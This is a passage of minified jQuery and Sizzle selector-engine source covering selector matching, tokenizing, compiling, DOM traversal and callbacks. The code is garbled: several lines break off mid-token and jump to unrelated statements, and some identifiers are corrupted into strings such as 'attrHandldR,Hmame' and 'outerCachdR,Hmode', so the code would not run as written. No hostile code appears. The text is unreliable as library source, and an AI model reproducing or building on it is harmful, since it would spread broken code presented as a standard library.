if(1===elem.nodeType||checkNonElements){outerCache=elem[expando]||(elem[expando]={});if((oldCache=outerCache[dir])&&oldCache[0]===dirruns&&oldCache[1]===doneName)
return newCache[2]=oldCache[2];outerCache[dir]=newCache;if(newCache[2]=matcher(elem,context,xml))
return!0}}}
function elementMatcher(matchers){return matchers.length>1?function(elem,context,xml){for(var i=matchers.length;i--;)
if(!matchers[i](elem,context,xml))
return!1;return!0}:matchers[0]}
function multipleContexts(selector,contexts,results){for(var i=0,len=contexts.length;i<len;i++)
Sizzle(selector,contexts[i],results);return results}
function condense(unmatched,map,filter,context,xml){for(var elem,newUnmatched=[],i=0,len=unmatched.length,mapped=null!=map;i<len;i++)
if((elem=unmatched[i])&&(!filter||filter(elem,context,xml))){newUnmatched.push(elem);mapped&&map.push(i)}
return newUnmatched}
function setMatcher(preFilter,selector,matcher,postFilter,postFinder,postSelector){postFilter&&!postFilter[expando]&&(postFilter=setMatcher(postFilter));postFinder&&!postFinder[expando]&&(postFinder=setMatcher(postFinder,postSelector));return markFunction(function(seed,results,context,xml){var temp,i,elem,preMap=[],postMap=[],preexisting=results.length,elems=seed||multipleContexts(selector||"*",context.nodeType?[context]:context,[]),matcherIn=!preFilter||!seed&&selector?elems:condense(elems,preMap,preFilter,context,xml),matcherOut=matcher?postFinder||(seed?preFilter:preexisting||postFilter)?[]:results:matcherIn;matcher&&matcher(matcherIn,matcherOut,context,xml);if(postFilter){temp=condense(matcherOut,postMap);postFilter(temp,[],context,xml);i=temp.length;for(;i--;)
(elem=temp[i])&&(matcherOut[postMap[i]]=!(matcherIn[postMap[i]]=elem))}
if(seed){if(postFinder||preFilter){if(postFinder){temp=[];i=matcherOut.length;for(;i--;)
(elem=matcherOut[i])&&temp.push(matcherIn[i]=elem);postFinder(null,matcherOut=[],temp,xml)}
i=matcherOut.length;for(;i--;)
(elem=matcherOut[i])&&(temp=postFinder?indexOf(seed,elem):preMap[i])>-1&&(seed[temp]=!(results[temp]=elem))}}else{matcherOut=condense(matcherOut===results?matcherOut.splice(preexisting,matcherOut.length):matcherOut);postFinder?postFinder(null,results,matcherOut,xml):push.apply(results,matcherOut)}})}
function matcherFromTokens(tokens){for(var checkContext,matcher,j,len=tokens.length,leadingRelative=Expr.relative[tokens[0].type],implicitRelative=leadingRelative||Expr.relative[" "],i=leadingRelative?1:0,matchContext=addCombinator(function(elem){return elem===checkContext},implicitRelative,!0),matchAnyContext=addCombinator(function(elem){return indexOf(checkContext,elem)>-1},implicitRelative,!0),matchers=[function(elem,context,xml){var ret=!leadingRelative&&(xml||context!==outermostContext)||((checkContext=context).nodeType?matchContext(elem,context,xml):matchAnyContext(elem,context,xml));checkContext=null;return ret}];i<len;i++)
if(matcher=Expr.relative[tokens[i].type])
matchers=[addCombinator(elementMatcher(matchers),matcher)];else{matcher=Expr.filter[tokens[i].type].apply(null,tokens[i].matches);if(matcher[expando]){j=++i;for(;j<len&&!Expr.relative[tokens[j].type];j++);return setMatcher(i>1&&elementMatcher(matchers),i>1&&toSelector(tokens.slice(0,i-1).concat({"value":" "===tokens[i-2].type?"*":""})).replace(rtrim,"$1"),matcher,i<j&&matcherFromTokens(tokens.slice(i,j)),j<len&&matcherFromTokens(tokens=tokens.slice(j)),j<len&&toSelector(tokens))}
matchers.push(matcher)}
return elementMatcher(matchers)}
function matcherFromGroupMatchers(elementMatchers,setMatchers){var bySet=setMatchers.length>0,byElement=elementMatchers.length>0,superMatcher=function(seed,context,xml,results,outermost){var elem,j,matcher,matchedCount=0,i="0",unmatched=seed&&[],setMatched=[],contextBackup=outermostContext,elems=seed||byElement&&Expr.find.TAG("*",outermost),dirrunsUnique=dirruns+=null==contextBackup?1:Math.random()||.1,len=elems.length;outermost&&(outermostContext=context!==document&&context);for(;i!==len&&null!=(elem=elems[i]);i++){if(byElement&&elem){j=0;for(;matcher=elementMatchers[j++];)
if(matcher(elem,context,xml)){results.push(elem);break}
outermost&&(dirruns=dirrunsUnique)}
if(bySet){(elem=!matcher&&elem)&&matchedCount--;seed&&unmatched.push(elem)}}
matchedCount+=i;if(bySet&&i!==matchedCount){j=0;for(;matcher=setMatchers[j++];)
matcher(unmatched,setMatched,context,xml);if(seed){if(matchedCount>0)
for(;i--;)
unmatched[i]||setMatched[i]||(setMatched[i]=pop.call(results));setMatched=condense(setMatched)}
push.apply(results,setMatched);outermost&&!seed&&setMatched.length>0&&matchedCount+setMatchers.length>1&&Sizzle.uniqueSort(results)}
if(outermost){dirruns=dirrunsUnique;outermostContext=contextBackup}
return unmatched};return bySet?markFunction(superMatcher):superMatcher}
var i,support,Expr,getText,isXML,tokenize,compile,select,outermostContext,sortInput,hasDuplicate,setDocument,document,docElem,documentIsHTML,rbuggyQSA,rbuggyMatches,matches,contains,expando="sizzle"+1*new Date,preferredDoc=window.document,dirruns=0,done=0,classCache=createCache(),tokenCache=createCache(),compilerCache=createCache(),sortOrder=function(a,b){a===b&&(hasDuplicate=!0);return 0},MAX_NEGATIVE=1<<31,hasOwn={}.hasOwnProperty,arr=[],pop=arr.pop,push_native=arr.push,push=arr.push,slice=arr.slice,indexOf=function(list,elem){for(var i=0,len=list.length;i<len;i++)
if(list[i]===elem)
return i;return-1},booleans="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",whitespace="[\\x20\\t\\r\\n\\f]",characterEncoding="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",identifier=characterEncoding.replace("w","w#"),attributes="\\["+whitespace+"*("+characterEncoding+")(?:"+whitespace+"*([*^$|!~]?=)"+whitespace+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+identifier+"))|)"+whitespace+"*\\]",pseudos=":("+characterEncoding+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+attributes+")*)|.*)\\)|)",rwhitespace=new RegExp(whitespace+"+","g"),rtrim=new RegExp("^"+whitespace+"+|((?:^|[^\\\\])(?:\\\\.)*)"+whitespace+"+$","g"),rcomma=new RegExp("^"+whitespace+"*,"+whitespace+"*"),rcombinators=new RegExp("^"+whitespace+"*([>+~]|"+whitespace+")"+whitespace+"*"),rattributeQuotes=new RegExp("="+whitespace+"*([^\\]'\"]*?)"+whitespace+"*\\]","g"),rpseudo=new RegExp(pseudos),ridentifier=new RegExp("^"+ide
support=Sizzle.support={};isXML=Sizzle.isXML=function(elem){var documentElement=elem&&(elem.ownerDocument||elem).documentElement;return!!documentElement&&"HTML"!==documentElement.nodeName};setDocument=Sizzle.setDocument=function(node){var hasCompare,parent,doc=node?node.ownerDocument||node:preferredDoc;if(doc===document||9!==doc.nodeType||!doc.documentElement)
return document;document=doc;docElem=doc.documentElement;parent=doc.defaultView;parent&&parent!==parent.top&&(parent.addEventListener?parent.addEventListener("unload",unloadHandler,!1):parent.attachEvent&&parent.attachEvent("onunload",unloadHandler));documentIsHTML=!isXML(doc);support.attributes=assert(function(div){div.className="i";return!div.getAttribute("className")});support.getElementsByTagName=assert(function(div){div.appendChild(doc.createComment(""));return!div.getElementsByTagName("*").length});support.getElementsByClassName=rnative.test(doc.getElementsByClassName);support.getById=assert(function(div){docElem.appendChild(div).id=expando;return!doc.getElementsByName||!doc.getElementsByName(expando).length});if(support.getById){Expr.find.ID=function(id,context){if(void 0!==context.getElementById&&documentIsHTML){var m=context.getElementById(id);return m&&m.parentNode?[m]:[]}};Expr.filter.ID=function(id){var attrId=id.replace(runescape,funescape);return function(elem){return elem.getAttribute("id")===a
Expr.find.TAG=support.getElementsByTagName?function(tag,context){return void 0!==context.getElementsByTagName?context.getElementsByTagName(tag):support.qsa?context.querySelectorAll(tag):void 0}:function(tag,context){var elem,tmp=[],i=0,results=context.getElementsByTagName(tag);if("*"===tag){for(;elem=results[i++];)
1===elem.nodeType&&tmp.push(elem);return tmp}
return results};Expr.find.CLASS=support.getElementsByClassName&&function(className,context){if(documentIsHTML)
return context.getElementsByClassName(className)};rbuggyMatches=[];rbuggyQSA=[];if(support.qsa=rnative.test(doc.querySelectorAll)){assert(function(div){docElem.appendChild(div).innerHTML="<a id='"+expando+"'></a><select id='"+expando+"-\f]' msallowcapture=''><option selected=''></option></select>";div.querySelectorAll("[msallowcapture^='']").length&&rbuggyQSA.push("[*^$]="+whitespace+"*(?:''|\"\")");div.querySelectorAll("[selected]").length||rbuggyQSA.push("\\["+whitespace+"*(?:value|"+booleans+")");div.querySelectorAll("[id~="+expando+"-]").length||rbuggyQSA.push("~=");div.querySelectorAll(":checked").length||rbuggyQSA.push(":checked");div.querySelectorAll("a#"+expando+"+*").length||rbuggyQSA.push(".#.+[+~]")});assert(function(div){var input=doc.createElement("input");input.setAttribute("type","hidden");div.appendChild(input).setAttribute("name","D");div.querySelectorAll("[name=d]").length&&rbuggyQSA.push("name"+whitespace+"*[*^$|!~]?=");div.querySelectorAll(":enabled").length||rbuggyQSA.push(":enabled",":di
(support.matchesSelector=rnative.test(matches=docElem.matches||docElem.webkitMatchesSelector||docElem.mozMatchesSelector||docElem.oMatchesSelector||docElem.msMatchesSelector))&&assert(function(div){support.disconnectedMatch=matches.call(div,"div");matches.call(div,"[s!='']:x");rbuggyMatches.push("!=",pseudos)});rbuggyQSA=rbuggyQSA.length&&new RegExp(rbuggyQSA.join("|"));rbuggyMatches=rbuggyMatches.length&&new RegExp(rbuggyMatches.join("|"));hasCompare=rnative.test(docElem.compareDocumentPosition);contains=hasCompare||rnative.test(docElem.contains)?function(a,b){var adown=9===a.nodeType?a.documentElement:a,bup=b&&b.parentNode;return a===bup||!(!bup||1!==bup.nodeType||!(adown.contains?adown.contains(bup):a.compareDocumentPosition&&16&a.compareDocumentPosition(bup)))}:function(a,b){if(b)
for(;b=b.parentNode;)
if(b===a)
return!0;return!1};sortOrder=hasCompare?function(a,b){if(a===b){hasDuplicate=!0;return 0}
var compare=!a.compareDocumentPosition-!b.compareDocumentPosition;if(compare)
return compare;compare=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1;return 1&compare||!support.sortDetached&&b.compareDocumentPosition(a)===compare?a===doc||a.ownerDocument===preferredDoc&&contains(preferredDoc,a)?-1:b===doc||b.ownerDocument===preferredDoc&&contains(preferredDoc,b)?1:sortInput?indexOf(sortInput,a)-indexOf(sortInput,b):0:4&compare?-1:1}:function(a,b){if(a===b){hasDuplicate=!0;return 0}
var cur,i=0,aup=a.parentNode,bup=b.parentNode,ap=[a],bp=[b];if(!aup||!bup)
return a===doc?-1:b===doc?1:aup?-1:bup?1:sortInput?indexOf(sortInput,a)-indexOf(sortInput,b):0;if(aup===bup)
return siblingCheck(a,b);cur=a;for(;cur=cur.parentNode;)
ap.unshift(cur);cur=b;for(;cur=cur.parentNode;)
bp.unshift(cur);for(;ap[i]===bp[i];)
i++;return i?siblingCheck(ap[i],bp[i]):ap[i]===preferredDoc?-1:bp[i]===preferredDoc?1:0};return doc};Sizzle.matches=function(expr,elements){return Sizzle(expr,null,null,elements)};Sizzle.matchesSelector=function(elem,expr){(elem.ownerDocument||elem)!==document&&setDocument(elem);expr=expr.replace(rattributeQuotes,"='$1']");if(support.matchesSelector&&documentIsHTML&&(!rbuggyMatches||!rbuggyMatches.test(expr))&&(!rbuggyQSA||!rbuggyQSA.test(expr)))
try{var ret=matches.call(elem,expr);if(ret||support.disconnectedMatch||elem.document&&11!==elem.document.nodeType)
return ret}catch(e){}
return Sizzle(expr,document,null,[elem]).length>0};Sizzle.contains=function(context,elem){(context.ownerDocument||context)!==document&&setDocument(context);return contains(context,elem)};Sizzle.attr=function(elem,name){(elem.ownerDocument||elem)!==document&&setDocument(elem);var fn=Expr.attrHandle[name.toLowerCase()],val=fn&&hasOwn.call(Expr.attrHandldR,Hmame.toLowerCase())?fn(elem,name,!documentIsHTML):void 0;return void 0!==val?val:support.attributes||!documentIsHTML?elem.getAttribute(name):(val=elem.getAttributeNode(name))&&val.specified?val.value:null};Sizzle.error=function(msg){throw new Error("Syntax error, unrecognized expression: "+msg)};Sizzle.uniqueSort=function(results){var elem,duplicates=[],j=0,i=0;hasDuplicate=!support.detectDuplicates;sortInput=!support.sortStable&&results.slice(0);results.sort(sortOrder);if(hasDuplicate){for(;elem=results[i++];)
elem===results[i]&&(j=duplicates.push(i));for(;j--;)
results.splice(duplicates[j],1)}
sortInput=null;return results};getText=Sizzle.getText=function(elem){var node,ret="",i=0,nodeType=elem.nodeType;if(nodeType){if(1===nodeType||9===nodeType||11===nodeType){if("string"==typeof elem.textContent)
return elem.textContent;for(elem=elem.firstChild;elem;elem=elem.nextSibling)
ret+=getText(elem)}else if(3===nodeType||4===nodeType)
return elem.nodeValue}else
for(;node=elem[i++];)
ret+=getText(node);return ret};Expr=Sizzle.selectors={"cacheLength":50,"createPseudo":markFunction,"match":matchExpr,"attrHandle":{},"find":{},"relative":{">":{"dir":"parentNode","first":!0}," ":{"dir":"parentNode"},"+":{"dir":"previousSibling","first":!0},"~":{"dir":"previousSibling"}},"preFilter":{"ATTR":function(match){match[1]=match[1].replace(runescape,funescape);match[3]=(match[3]||match[4]||match[5]||"").replace(runescape,funescape);"~="===match[2]&&(match[3]=" "+match[3]+" ");return match.slice(0,4)},"CHILD":function(match){match[1]=match[1].toLowerCase();if("nth"===match[1].slice(0,3)){match[3]||Sizzle.error(match[0]);match[4]=+(match[4]?match[5]+(match[6]||1):2*("even"===match[3]||"odd"===match[3]));match[5]=+(match[7]+match[8]||"odd"===match[3])}else
match[3]&&Sizzle.error(match[0]);return match},"PSEUDO":function(match){var excess,unquoted=!match[6]&&match[2];if(matchExpr.CHILD.test(match[0]))
return null;if(match[3])
match[2]=match[4]||match[5]||"";else if(unquoted&&rpseudo.test(unquoted)&&(excess=tokenize(unquoted,!0))&&(excess=unquoted.indexOf(")",unquoted.length-excess)-unquoted.length)){match[0]=match[0].slice(0,excess);match[2]=unquoted.slice(0,excess)}
return match.slice(0,3)}},"filter":{"TAG":function(nodeNameSelector){var nodeName=nodeNameSelector.replace(runescape,funescape).toLowerCase();return"*"===nodeNameSelector?function(){return!0}:function(elem){return elem.nodeName&&elem.nodeName.toLowerCase()===nodeName}},"CLASS":function(className){var pattern=classCache[className+" "];return pattern||(pattern=new RegExp("(^|"+whitespace+")"+className+"("+whitespace+"|$)"))&&classCache(className,function(elem){return pattern.test("string"==typeof elem.className&&elem.className||void 0!==elem.getAttribute&&elem.getAttribute("class")||"")})},"ATTR":function(name,operator,check){return function(elem){var result=Sizzle.attr(elem,name);if(null==result)
return"!="===operator;if(!operator)
return!0;result+="";return"="===operator?result===check:"!="===operator?result!==check:"^="===operator?check&&0===result.indexOf(check):"*="===operator?check&&result.indexOf(check)>-1:"$="===operator?check&&result.slice(-check.length)===check:"~="===operator?(" "+result.replace(rwhitespace," ")+" ").indexOf(check)>-1:"|="===operator&&(result===check||result.slice(0,check.length+1)===check+"-")}},"CHILD":function(type,what,argument,first,last){var simple="nth"!==type.slice(0,3),forward="last"!==type.slice(-4),ofType="of-type"===what;return 1===first&&0===last?function(elem){return!!elem.parentNode}:function(elem,context,xml){var cache,outerCachdR,Hmode,diff,nodeIndex,start,dir=simple!==forward?"nextSibling":"previousSibling",parent=elem.parentNoddR,Hmame=ofType&&elem.nodeName.toLowerCase(),useCache=!xml&&!ofType;if(parent){if(simple){for(;dir;){node=elem;for(;node=node[dir];)
if(ofType?node.nodeName.toLowerCase()===name:1===node.nodeType)
return!1;start=dir="only"===type&&!start&&"nextSibling"}
return!0}
start=[forward?parent.firstChild:parent.lastChild];if(forward&&useCache){outerCache=parent[expando]||(parent[expando]={});cache=outerCache[type]||[];nodeIndex=cache[0]===dirruns&&cache[1];diff=cache[0]===dirruns&&cache[2];node=nodeIndex&&parent.childNodes[nodeIndex];for(;node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop();)
if(1===node.nodeType&&++diff&&node===elem){outerCache[type]=[dirruns,nodeIndex,diff];break}}else if(useCache&&(cache=(elem[expando]||(elem[expando]={}))[type])&&cache[0]===dirruns)
diff=cache[1];else
for(;node=++nodeIndex&&node&&node[dir]||(diff=nodeIndex=0)||start.pop();)
if((ofType?node.nodeName.toLowerCase()===name:1===node.nodeType)&&++diff){useCache&&((node[expando]||(node[expando]={}))[type]=[dirruns,diff]);if(node===elem)
break}
diff-=last;return diff===first||diff%first==0&&diff/first>=0}}},"PSEUDO":function(pseudo,argument){var args,fn=Expr.pseudos[pseudo]||Expr.setFilters[pseudo.toLowerCase()]||Sizzle.error("unsupported pseudo: "+pseudo);if(fn[expando])
return fn(argument);if(fn.length>1){args=[pseudo,pseudo,"",argument];return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase())?markFunction(function(seed,matches){for(var idx,matched=fn(seed,argument),i=matched.length;i--;){idx=indexOf(seed,matched[i]);seed[idx]=!(matches[idx]=matched[i])}}):function(elem){return fn(elem,0,args)}}
return fn}},"pseudos":{"not":markFunction(function(selector){var input=[],results=[],matcher=compile(selector.replace(rtrim,"$1"));return matcher[expando]?markFunction(function(seed,matches,context,xml){for(var elem,unmatched=matcher(seed,null,xml,[]),i=seed.length;i--;)
(elem=unmatched[i])&&(seed[i]=!(matches[i]=elem))}):function(elem,context,xml){input[0]=elem;matcher(input,null,xml,results);input[0]=null;return!results.pop()}}),"has":markFunction(function(selector){return function(elem){return Sizzle(selector,elem).length>0}}),"contains":markFunction(function(text){text=text.replace(runescape,funescape);return function(elem){return(elem.textContent||elem.innerText||getText(elem)).indexOf(text)>-1}}),"lang":markFunction(function(lang){ridentifier.test(lang||"")||Sizzle.error("unsupported lang: "+lang);lang=lang.replace(runescape,funescape).toLowerCase();return function(elem){var elemLang;do{if(elemLang=documentIsHTML?elem.lang:elem.getAttribute("xml:lang")||elem.getAttribute("lang")){elemLang=elemLang.toLowerCase();return elemLang===lang||0===elemLang.indexOf(lang+"-")}}while((elem=elem.parentNode)&&1===elem.nodeType);return!1}}),"target":function(elem){var hash=window.location&&window.location.hash;return hash&&hash.slice(1)===elem.id},"root":function(elem){return elem===d
if(elem.nodeType<6)
return!1;return!0},"parent":function(elem){return!Expr.pseudos.empty(elem)},"header":function(elem){return rheader.test(elem.nodeName)},"input":function(elem){return rinputs.test(elem.nodeName)},"button":function(elem){var name=elem.nodeName.toLowerCase();return"input"===name&&"button"===elem.type||"button"===name},"text":function(elem){var attr;return"input"===elem.nodeName.toLowerCase()&&"text"===elem.type&&(null==(attr=elem.getAttribute("type"))||"text"===attr.toLowerCase())},"first":createPositionalPseudo(function(){return[0]}),"last":createPositionalPseudo(function(matchIndexes,length){return[length-1]}),"eq":createPositionalPseudo(function(matchIndexes,length,argument){return[argument<0?argument+length:argument]}),"even":createPositionalPseudo(function(matchIndexes,length){for(var i=0;i<length;i+=2)
matchIndexes.push(i);return matchIndexes}),"odd":createPositionalPseudo(function(matchIndexes,length){for(var i=1;i<length;i+=2)
matchIndexes.push(i);return matchIndexes}),"lt":createPositionalPseudo(function(matchIndexes,length,argument){for(var i=argument<0?argument+length:argument;--i>=0;)
matchIndexes.push(i);return matchIndexes}),"gt":createPositionalPseudo(function(matchIndexes,length,argument){for(var i=argument<0?argument+length:argument;++i<length;)
matchIndexes.push(i);return matchIndexes})}};Expr.pseudos.nth=Expr.pseudos.eq;for(i in{"radio":!0,"checkbox":!0,"file":!0,"password":!0,"image":!0})
Expr.pseudos[i]=function(type){return function(elem){return"input"===elem.nodeName.toLowerCase()&&elem.type===type}}(i);for(i in{"submit":!0,"reset":!0})
Expr.pseudos[i]=function(type){return function(elem){var name=elem.nodeName.toLowerCase();return("input"===name||"button"===name)&&elem.type===type}}(i);setFilters.prototype=Expr.filters=Expr.pseudos;Expr.setFilters=new setFilters;tokenize=Sizzle.tokenize=function(selector,parseOnly){var matched,match,tokens,type,soFar,groups,preFilters,cached=tokenCache[selector+" "];if(cached)
return parseOnly?0:cached.slice(0);soFar=selector;groups=[];preFilters=Expr.preFilter;for(;soFar;){if(!matched||(match=rcomma.exec(soFar))){match&&(soFar=soFar.slice(match[0].length)||soFar);groups.push(tokens=[])}
matched=!1;if(match=rcombinators.exec(soFar)){matched=match.shift();tokens.push({"value":matched,"type":match[0].replace(rtrim," ")});soFar=soFar.slice(matched.length)}
for(type in Expr.filter)
if((match=matchExpr[type].exec(soFar))&&(!preFilters[type]||(match=preFilters[type](match)))){matched=match.shift();tokens.push({"value":matched,"type":type,"matches":match});soFar=soFar.slice(matched.length)}
if(!matched)
break}
return parseOnly?soFar.length:soFar?Sizzle.error(selector):tokenCache(selector,groups).slice(0)};compile=Sizzle.compile=function(selector,match){var i,setMatchers=[],elementMatchers=[],cached=compilerCache[selector+" "];if(!cached){match||(match=tokenize(selector));i=match.length;for(;i--;){cached=matcherFromTokens(match[i]);cached[expando]?setMatchers.push(cached):elementMatchers.push(cached)}
cached=compilerCache(selector,matcherFromGroupMatchers(elementMatchers,setMatchers));cached.selector=selector}
return cached};select=Sizzle.select=function(selector,context,results,seed){var i,tokens,token,type,find,compiled="function"==typeof selector&&selector,match=!seed&&tokenize(selector=compiled.selector||selector);results=results||[];if(1===match.length){tokens=match[0]=match[0].slice(0);if(tokens.length>2&&"ID"===(token=tokens[0]).type&&support.getById&&9===context.nodeType&&documentIsHTML&&Expr.relative[tokens[1].type]){context=(Expr.find.ID(token.matches[0].replace(runescape,funescape),context)||[])[0];if(!context)
return results;compiled&&(context=context.parentNode);selector=selector.slice(tokens.shift().value.length)}
i=matchExpr.needsContext.test(selector)?0:tokens.length;for(;i--;){token=tokens[i];if(Expr.relative[type=token.type])
break;if((find=Expr.find[type])&&(seed=find(token.matches[0].replace(runescape,funescape),rsibling.test(tokens[0].type)&&testContext(context.parentNode)||context))){tokens.splice(i,1);selector=seed.length&&toSelector(tokens);if(!selector){push.apply(results,seed);return results}
break}}}
(compiled||compile(selector,match))(seed,context,!documentIsHTML,results,rsibling.test(selector)&&testContext(context.parentNode)||context);return results};support.sortStable=expando.split("").sort(sortOrder).join("")===expando;support.detectDuplicates=!!hasDuplicate;setDocument();support.sortDetached=assert(function(div1){return 1&div1.compareDocumentPosition(document.createElement("div"))});assert(function(div){div.innerHTML="<a href='#'></a>";return"#"===div.firstChild.getAttribute("href")})||addHandle("type|href|height|width",function(elem,name,isXML){if(!isXML)
return elem.getAttribute(name,"type"===name.toLowerCase()?1:2)});support.attributes&&assert(function(div){div.innerHTML="<input/>";div.firstChild.setAttribute("value","");return""===div.firstChild.getAttribute("value")})||addHandle("value",function(elem,name,isXML){if(!isXML&&"input"===elem.nodeName.toLowerCase())
return elem.defaultValue});assert(function(div){return null==div.getAttribute("disabled")})||addHandle(booleans,function(elem,name,isXML){var val;if(!isXML)
return!0===elem[name]?name.toLowerCase():(val=elem.getAttributeNode(name))&&val.specified?val.value:null});return Sizzle}(window);jQuery.find=Sizzle;jQuery.expr=Sizzle.selectors;jQuery.expr[":"]=jQuery.expr.pseudos;jQuery.unique=Sizzle.uniqueSort;jQuery.text=Sizzle.getText;jQuery.isXMLDoc=Sizzle.isXML;jQuery.contains=Sizzle.contains;var rneedsContext=jQuery.expr.match.needsContext,rsingleTag=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,risSimple=/^.[^:#\[\.,]*$/;jQuery.filter=function(expr,elems,not){var elem=elems[0];not&&(expr=":not("+expr+")");return 1===elems.length&&1===elem.nodeType?jQuery.find.matchesSelector(elem,expr)?[elem]:[]:jQuery.find.matches(expr,jQuery.grep(elems,function(elem){return 1===elem.nodeType}))};jQuery.fn.extend({"find":function(selector){var i,ret=[],self=this,len=self.length;if("string"!=typeof selector)
return this.pushStack(jQuery(selector).filter(function(){for(i=0;i<len;i++)
if(jQuery.contains(self[i],this))
return!0}));for(i=0;i<len;i++)
jQuery.find(selector,self[i],ret);ret=this.pushStack(len>1?jQuery.unique(ret):ret);ret.selector=this.selector?this.selector+" "+selector:selector;return ret},"filter":function(selector){return this.pushStack(winnow(this,selector||[],!1))},"not":function(selector){return this.pushStack(winnow(this,selector||[],!0))},"is":function(selector){return!!winnow(this,"string"==typeof selector&&rneedsContext.test(selector)?jQuery(selector):selector||[],!1).length}});var rootjQuery,document=window.document,rquickExpr=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/;(jQuery.fn.init=function(selector,context){var match,elem;if(!selector)
return this;if("string"==typeof selector){match="<"===selector.charAt(0)&&">"===selector.charAt(selector.length-1)&&selector.length>=3?[null,selector,null]:rquickExpr.exec(selector);if(!match||!match[1]&&context)
return!context||context.jquery?(context||rootjQuery).find(selector):this.constructor(context).find(selector);if(match[1]){context=context instanceof jQuery?context[0]:context;jQuery.merge(this,jQuery.parseHTML(match[1],context&&context.nodeType?context.ownerDocument||context:document,!0));if(rsingleTag.test(match[1])&&jQuery.isPlainObject(context))
for(match in context)
jQuery.isFunction(this[match])?this[match](context[match]):this.attr(match,context[match]);return this}
elem=document.getElementById(match[2]);if(elem&&elem.parentNode){if(elem.id!==match[2])
return rootjQuery.find(selector);this.length=1;this[0]=elem}
this.context=document;this.selector=selector;return this}
if(selector.nodeType){this.context=this[0]=selector;this.length=1;return this}
if(jQuery.isFunction(selector))
return void 0!==rootjQuery.ready?rootjQuery.ready(selector):selector(jQuery);if(void 0!==selector.selector){this.selector=selector.selector;this.context=selector.context}
return jQuery.makeArray(selector,this)}).prototype=jQuery.fn;rootjQuery=jQuery(document);var rparentsprev=/^(?:parents|prev(?:Until|All))/,guaranteedUnique={"children":!0,"contents":!0,"next":!0,"prev":!0};jQuery.extend({"dir":function(elem,dir,until){for(var matched=[],cur=elem[dir];cur&&9!==cur.nodeType&&(void 0===until||1!==cur.nodeType||!jQuery(cur).is(until));){1===cur.nodeType&&matched.push(cur);cur=cur[dir]}
return matched},"sibling":function(n,elem){for(var r=[];n;n=n.nextSibling)
1===n.nodeType&&n!==elem&&r.push(n);return r}});jQuery.fn.extend({"has":function(target){var i,targets=jQuery(target,this),len=targets.length;return this.filter(function(){for(i=0;i<len;i++)
if(jQuery.contains(this,targets[i]))
return!0})},"closest":function(selectors,context){for(var cur,i=0,l=this.length,matched=[],pos=rneedsContext.test(selectors)||"string"!=typeof selectors?jQuery(selectors,context||this.context):0;i<l;i++)
for(cur=this[i];cur&&cur!==context;cur=cur.parentNode)
if(cur.nodeType<11&&(pos?pos.index(cur)>-1:1===cur.nodeType&&jQuery.find.matchesSelector(cur,selectors))){matched.push(cur);break}
return this.pushStack(matched.length>1?jQuery.unique(matched):matched)},"index":function(elem){return elem?"string"==typeof elem?jQuery.inArray(this[0],jQuery(elem)):jQuery.inArray(elem.jquery?elem[0]:elem,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},"add":function(selector,context){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),jQuery(selector,context))))},"addBack":function(selector){return this.add(null==selector?this.prevObject:this.prevObject.filter(selector))}});jQuery.each({"parent":function(elem){var parent=elem.parentNode;return parent&&11!==parent.nodeType?parent:null},"parents":function(elem){return jQuery.dir(elem,"parentNode")},"parentsUntil":function(elem,i,until){return jQuery.dir(elem,"parentNode",until)},"next":function(elem){return sibling(elem,"nextSibling")},"prev":function(elem){return sibling(elem,"previousSibling")},"nextAll":function(elem){return jQuery.dir(elem,"nextSibling")},"prevAll":function(elem){return jQuery.dir(elem,"previousSibling")},"next
return this.pushStack(ret)}});var rnotwhite=/\S+/g,optionsCache={};jQuery.Callbacks=function(options){options="string"==typeof options?optionsCache[options]||createOptions(options):jQuery.extend({},options);var firing,memory,fired,firingLength,firingIndex,firingStart,list=[],stack=!options.once&&[],fire=function(data){memory=options.memory&&data;fired=!0;firingIndex=firingStart||0;firingStart=0;firingLength=list.length;firing=!0;for(;list&&firingIndex<firingLength;firingIndex++)
if(!1===list[firingIndex].apply(data[0],data[1])&&options.stopOnFalse){memory=!1;break}
firing=!1;list&&(stack?stack.length&&fire(stack.shift()):memory?list=[]:self.disable())},self={"add":function(){if(list){var start=list.length;!function add(args){jQuery.each(args,function(_,arg){var type=jQuery.type(arg);"function"===type?options.unique&&self.has(arg)||list.push(arg):arg&&arg.length&&"string"!==type&&add(arg)})}(arguments);if(firing)
firingLength=list.length;else if(memory){firingStart=start;fire(memory)}}
return this},"remove":function(){list&&jQuery.each(arguments,function(_,arg){for(var index;(index=jQuery.inArray(arg,list,index))>-1;){list.splice(index,1);if(firing){index<=firingLength&&firingLength--;index<=firingIndex&&firingIndex--}}});return this},"has":function(fn){return fn?jQuery.inArray(fn,list)>-1:!(!list||!list.length)},"empty":function(){list=[];firingLength=0;return this},"disable":function(){list=stack=memory=void 0;return this},"disabled":function(){return!list},"lock":function(){stack=void 0;memory||self.disable();return this},"locked":function(){return!stack},"fireWith":function(context,args){if(list&&(!fired||stack)){args=args||[];args=[context,args.slice?args.slice():args];firing?stack.push(args):fire(args)}
return this},"fire":function(){self.fireWith(this,arguments);return this},"fired":function(){return!!fired}};return self};jQuery.extend({"Deferred":function(func){var tuples=[["resolve","done",jQuery.Callbacks("once memory"),"resolved"],["reject","fail",jQuery.Callbacks("once memory"),"rejected"],["notify","progress",jQuery.Callbacks("memory")]],state="pending",promise={"state":function(){return state},"always":function(){deferred.done(arguments).fail(arguments);return this},"then":function(){var fns=arguments;return jQuery.Deferred(function(newDefer){jQuery.each(tuples,function(i,tuple){var fn=jQuery.isFunction(fns[i])&&fns[i];deferred[tuple[1]](function(){var 